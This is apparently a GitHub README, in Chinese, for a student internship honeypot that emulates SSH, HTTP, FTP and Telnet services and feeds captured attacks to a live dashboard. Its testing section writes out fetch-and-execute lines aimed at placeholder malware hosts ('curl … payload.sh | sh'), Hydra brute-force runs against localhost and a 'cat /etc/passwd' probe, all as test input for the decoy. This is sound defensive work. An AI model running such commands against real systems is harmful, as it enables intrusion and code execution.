Majorwhiskey/honeypot
GitHub: Majorwhiskey/honeypot
一个集成了SSH、HTTP、FTP、Telnet四类诱饵服务的轻量级蜜罐系统,配备实时威胁情报仪表板,用于捕获、记录和可视化真实攻击行为。
Stars: 0 | Forks: 1
# Honeypot 系统
一个专业级的多服务蜜罐,模拟 SSH、HTTP、FTP 和 Telnet 服务器,以实时捕获、记录和可视化真实世界的攻击流量。所有事件存储在本地 SQLite 数据库中,并通过带有 Socket.IO 推送更新的实时威胁情报仪表板进行展示。
## 架构图

## 功能特性
- **SSH 蜜罐** — 展示 OpenSSH 横幅,接受认证,并将攻击者放入一个完全交互式的伪造 shell 中;记录输入的每一条命令,包括恶意软件下载 URL(`wget`/`curl`)
- **HTTP 蜜罐** — 提供具有欺骗性的伪造页面(WordPress、phpMyAdmin、Jenkins、Jupyter、Laravel、管理面板、`.env` 文件)并指纹识别 13 种已知的扫描工具
- **FTP 蜜罐** — 捕获 `USER`/`PASS` 凭据尝试(默认端口 2121;使用 `sudo` 设置 `FTP_PORT=21` 以采用标准端口)
- **Telnet 蜜罐** — 捕获来自 IoT 僵尸网络和扫描器的登录凭据(默认端口 2323;使用 `sudo` 设置 `TELNET_PORT=23` 以采用标准端口)
- **实时仪表板** — 运行在 `localhost:5000` 的 Stitch 设计风格 Flask 应用;事件通过 Socket.IO 即时传输,无轮询延迟
- **凭据情报** — 捕获并对所有四个服务的用户名/密码对进行排名
- **GeoIP + ASN 扩充** — 每个IP都被解析为国家、城市、坐标和自治系统(例如“AS4134 China Telecom”)
- **扫描器检测** — 指纹识别 Masscan、Nmap、Nikto、ZGrab、Shodan、Censys、Nuclei、sqlmap、Metasploit、curl、wget、Python-Requests、Go-HTTP-Client
- **Webhook 警报** — 在捕获凭据时发送 Discord 和 Slack 通知(按 IP 限速)
- **导出** — 直接从仪表板下载过滤后的事件,支持 CSV 或 JSON 格式
- **基于环境变量的配置** — 通过 `.env` 文件进行所有设置;无需更改代码
- **结构化日志** — 通过 Python `logging` 实现日志轮转(10 MB × 5 个文件)
- **启用 WAL 的 SQLite** — 预写日志 + 索引,实现高吞吐量的并发写入
## 架构
```
main.py
├── honeypot/
│ ├── ssh_honeypot.py — paramiko SSH server with fake interactive shell
│ ├── http_honeypot.py — Flask decoy pages + scanner fingerprinting
│ ├── ftp_honeypot.py — raw TCP FTP credential capture
│ ├── telnet_honeypot.py — raw TCP Telnet credential capture
│ ├── logger.py — SQLite writer, GeoIP/ASN lookup, webhook alerts
│ └── config.py — env-based configuration
│
├── dashboard/
│ ├── app.py — Flask + Socket.IO REST API
│ ├── templates/index.html — Stitch-design single-page dashboard
│ └── static/
│ ├── style.css — Stitch dark theme (Manrope, #121410 bg, amber accent)
│ └── dashboard.js — Chart.js, Leaflet, Socket.IO, scramble/glitch animations
│
└── frontend/ — React + Vite + Tailwind (optional separate UI)
└── src/
├── pages/DashboardPage.jsx — attack telemetry, charts, top IPs
├── pages/LiveFeedPage.jsx — real-time filterable event feed
└── pages/CredentialsPage.jsx — captured credential rankings + CSV export
```
所有蜜罐服务均作为守护线程运行,由 `main.py` 启动。
## 系统要求
- Python 3.9+
- FTP 和 Telnet 默认使用非特权端口(2121 / 2323) — **无需 `sudo`**
```
paramiko>=3.4.0
flask>=3.0.0
flask-socketio>=5.3.0
simple-websocket>=1.0.0
requests>=2.31.0
python-dotenv>=1.0.0
```
## 快速入门
```
# 1. Clone
git clone https://github.com/Majorwhiskey/honeypot.git
cd honeypot
# 2. 虚拟环境
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
# 3. 安装依赖
pip install -r requirements.txt
# 4. 配置(可选)
cp .env.example .env
# 编辑 .env 以设置端口、dashboard 认证、webhook URL 等
# 5. 运行 — 使用默认端口无需 sudo
venv/bin/python main.py
```
启动输出:
```
══════════════════════════════════════════════════════════════
HONEYPOT SYSTEM — PRAGYAN EDUSEC
KLE INSTITUTE OF TECHNOLOGY // INTERNSHIP PROJECT
══════════════════════════════════════════════════════════════
Dashboard → http://localhost:5000
SSH → port 2222
HTTP → http://localhost:8888
FTP → port 2121
Telnet → port 2323
Logs → data/honeypot.log
Press Ctrl+C to stop
══════════════════════════════════════════════════════════════
```
## 配置说明
将 `.env.example` 复制到 `.env` 并根据需要进行编辑。无需更改代码。
```
# 端口(FTP/Telnet 默认为非特权端口 — 无需 sudo)
SSH_PORT=2222
HTTP_PORT=8888
FTP_PORT=2121
TELNET_PORT=2323
DASHBOARD_PORT=5000
# Dashboard 基本认证(留空以禁用)
DASHBOARD_USER=admin
DASHBOARD_PASS=changeme
# Webhook 警报 — 每个 IP 每 60 秒发送一次警报
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/...
# 日志记录
LOG_LEVEL=INFO
LOG_FILE=data/honeypot.log
# Banners(进行更改以模拟不同的目标)
SSH_BANNER=SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
HTTP_SERVER_HEADER=Apache/2.4.41 (Ubuntu)
```
## 仪表板
打开 `http://localhost:5000`(如果设置了 `DASHBOARD_USER`,则需要登录)。
仪表板基于 **Stitch 深色设计系统** 构建 — Manrope 字体、`#121410` 背景色、琥珀色 `#ffba38` 强调色 — 具有以下视觉细节:
- 带有土色琥珀/绿色字符的 Matrix 代码雨画布
- CRT 扫描线叠加效果
- 所有标题和标签上的字符乱码动画
- 模块 ID 上的打字机 + 闪烁光标效果
- 侧边栏状态循环显示 `MONITORING → SCANNING → ACTIVE`
- HONEYPOT 标题故障动画
- 实时表格上的扫描线扫过效果
- 攻击地图上的雷达扫描效果
- 页脚中以琥珀色发光的 `KLE INSTITUTE OF TECHNOLOGY`
| 小部件 | 描述 |
|---|---|
| 统计卡片 | 总攻击次数、独立 IP 数、国家数、捕获的凭据数 |
| 服务条形图 | 实时 SSH / HTTP / FTP / Telnet 细分及动画填充条 |
| 威胁级别 | 颜色编码条:基于总事件数从 MINIMAL → CRITICAL |
| 全球地图 | Leaflet 深色地图 — 每个攻击者 IP 对应一个圆形标记,大小按命中次数缩放 |
| 攻击时间轴 | 折线图 — 过去 24 小时的事件计数 |
| 头号威胁行为者 | 水平条形图 — 10 个最活跃的源 IP |
| 国家分布 | 环形图 — 排名前 12 的攻击来源国 |
| 过滤栏 | 按服务、国家、IP 或自由文本搜索进行过滤 |
| 导出 | 将当前过滤视图下载为 CSV 或 JSON |
| 凭据情报 | 带有尝试次数的排名用户名/密码对 |
| 实时事件源 | Socket.IO 推送 — 事件即时出现,分页显示(50条/页)|
## React 前端(可选)
一个独立的 React + Vite UI 位于 `frontend/` 目录中。它连接到相同的 Flask API 并提供三个专用页面:
| 页面 | 路由 | 描述 |
|---|---|---|
| 攻击遥测 | `/dashboard` | 统计数据、24小时 SVG 时间轴、顶级 IP 表、国家直方图 |
| 实时威胁源 | `/feed` | 通过 Socket.IO 实现实时可过滤的事件表 |
| 捕获的凭据 | `/credentials` | 凭据排名 + CSV 导出 |
```
cd frontend
npm install
npm run dev # dev server at http://localhost:5173
npm run build # production build → frontend/dist/
```
在 `frontend/.env` 中设置 `VITE_API_URL` 和 `VITE_SOCKET_URL` 以指向 Flask 后端。
## HTTP 蜜罐 — 模拟端点
| 路径 | 伪造页面 |
|---|---|
| `/wp-login.php`, `/wp-admin` | WordPress 登录 |
| `/phpmyadmin`, `/pma` | phpMyAdmin |
| `/admin`, `/login`, `/administrator`, `/cp`, `/cpanel` | 通用管理面板 |
| `/jenkins`, `/j_spring_security_check` | Jenkins 登录 |
| `/jupyter`, `/notebook` | Jupyter Notebook |
| `/laravel`, `/debug` | Laravel 错误页面 (500) |
| `/.env`, `/.env.backup`, `/.env.local`, `/.env.production` | 伪造环境文件 |
| 其他所有路径 | Apache2 Ubuntu 默认页面 |
## SSH 伪造 Shell
在成功的认证尝试之后,攻击者将被放入一个伪造的交互式 shell 中:
```
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-76-generic x86_64)
Last login: Mon May 12 06:11:34 2025 from 192.168.1.1
root@ubuntu-server:~#
```
支持的命令包括 `id`、`whoami`、`uname -a`、`ps aux`、`ifconfig`、`cat /etc/passwd`、`df -h`、`free -m`、`w`、`history`、`env` 等等。任何 `wget`/`curl` 命令都会被拦截,其 URL 会作为 `malware_download` 事件被记录,并返回一个逼真的失败响应。
## 数据库结构
所有事件存入 `data/honeypot.db` 的 `events` 表中:
| 列名 | 类型 | 描述 |
|---|---|---|
| `id` | INTEGER | 自增主键 |
| `timestamp` | TEXT | UTC ISO-8601 格式时间 |
| `service` | TEXT | `ssh`、`http`、`ftp` 或 `telnet` |
| `src_ip` | TEXT | 攻击者 IP |
| `src_port` | INTEGER | 攻击者源端口 |
| `country` | TEXT | GeoIP 国家 |
| `city` | TEXT | GeoIP 城市 |
| `lat` / `lon` | REAL | GeoIP 坐标 |
| `asn` | TEXT | 自治系统(例如 "AS4134 China Telecom") |
| `username` | TEXT | 尝试的用户名 |
| `password` | TEXT | 尝试的密码 |
| `method` | TEXT | HTTP 方法 |
| `path` | TEXT | HTTP 路径(或 SSH 下载的恶意软件 URL) |
| `user_agent` | TEXT | HTTP User-Agent |
| `payload` | TEXT | 原始 POST 正文(前 1000 个字符) |
| `scanner` | TEXT | 检测到的扫描工具名称 |
| `command` | TEXT | 输入的 SSH shell 命令 |
在 `timestamp`、`src_ip` 和 `service` 上建立索引。启用 WAL 模式以实现并发读写。
## 本地测试
在运行蜜罐的同一台机器上运行以下命令:
```
# SSH — 输入任意密码,然后尝试执行 shell 命令
ssh -p 2222 root@localhost
# FTP
ftp localhost 2121
# Telnet
telnet localhost 2323
# HTTP — 常见攻击路径
curl http://localhost:8888/wp-login.php
curl http://localhost:8888/.env
curl http://localhost:8888/phpmyadmin
curl http://localhost:8888/jenkins
# POST 登录尝试
curl -X POST http://localhost:8888/wp-login.php \
-d "log=admin&pwd=password123"
# 模拟扫描器 User-Agents(触发指纹识别)
curl -A "Nikto" http://localhost:8888/
curl -A "Masscan/1.0" http://localhost:8888/
```
使用 Hydra 进行暴力破解模拟:
```
sudo apt install hydra -y
echo -e "123456\npassword\nadmin\nroot\nletmein" > passwords.txt
hydra -l root -P passwords.txt ssh://localhost:2222 -t 4
hydra -l admin -P passwords.txt ftp://localhost:2121
hydra -l root -P passwords.txt telnet://localhost:2323
```
SSH shell — 连接后,输入命令以测试日志记录:
```
ssh -p 2222 root@localhost
# 在伪造 shell 内:
id
cat /etc/passwd
wget http://malware.example.com/bot.sh # logged as malware_download
curl http://bad.site.com/payload.sh | sh # also logged
```
## 从同一 Wi-Fi 下的其他设备进行测试
您可以从同一网络上的手机或笔记本电脑攻击蜜罐 — 事件将连同攻击设备的本地 IP 一起显示在仪表板中。
**步骤 1 — 查找您机器的本地 IP:**
```
hostname -I
# 例如 192.168.1.42
```
**步骤 2 — 允许端口通过防火墙(如果 ufw 处于活动状态):**
```
sudo ufw allow 2222
sudo ufw allow 8888
sudo ufw allow 2121
sudo ufw allow 2323
```
**步骤 3 — 从其他设备,使用您的本地 IP 进行攻击:**
```
# SSH
ssh -p 2222 root@192.168.1.42
# HTTP
curl http://192.168.1.42:8888/wp-login.php
curl http://192.168.1.42:8888/.env
# FTP
ftp 192.168.1.42 2121
# Telnet
telnet 192.168.1.42 2323
```
从 Android 手机上,安装 **Termux** 并运行相同的命令。从 iPhone 上,使用 **iSH**。
**步骤 4 — 查看仪表板:**
在其他设备攻击时,在您的机器上打开 `http://localhost:5000` — 事件将连同攻击者的本地 IP、捕获的凭据以及输入的任何 shell 命令实时显示。
## 安全提示
仅在受控的隔离环境(专用虚拟机或云实例)中部署。在没有设置 `DASHBOARD_USER` 和 `DASHBOARD_PASS` 的情况下,绝不要将仪表板端口暴露给公共互联网。蜜罐天生具有欺骗性 — 在任何网络上部署前,请确保您已获得授权。
## 关于
作为在 **Pragyan Edusec** 的实习任务开发,展示给 **KLE Institute of Technology**。
## 许可证
MIT
标签:ASN, BOF, Discord通知, ETW劫持, Flask, FTP蜜罐, GeoIP, HTTP蜜罐, IoT安全, IP 地址批量处理, Masscan, Mutation, Nmap, Python, Slack通知, Socket.IO, SQLite, SSH蜜罐, Telnet蜜罐, WAL模式, Webhook告警, Zmap, 仪表盘, 凭据捕获, 可视化, 多服务蜜罐, 威胁分析, 威胁情报, 子域名侦测, 密码管理, 开发者工具, 扫描器识别, 插件系统, 攻击者欺骗, 数据导出, 无后门, 无控制台执行, 日志记录, 欺骗防御, 网络安全, 自动化侦查工具, 自定义脚本, 虚拟驱动器, 蜜罐系统, 进程注入, 逆向工具, 隐私保护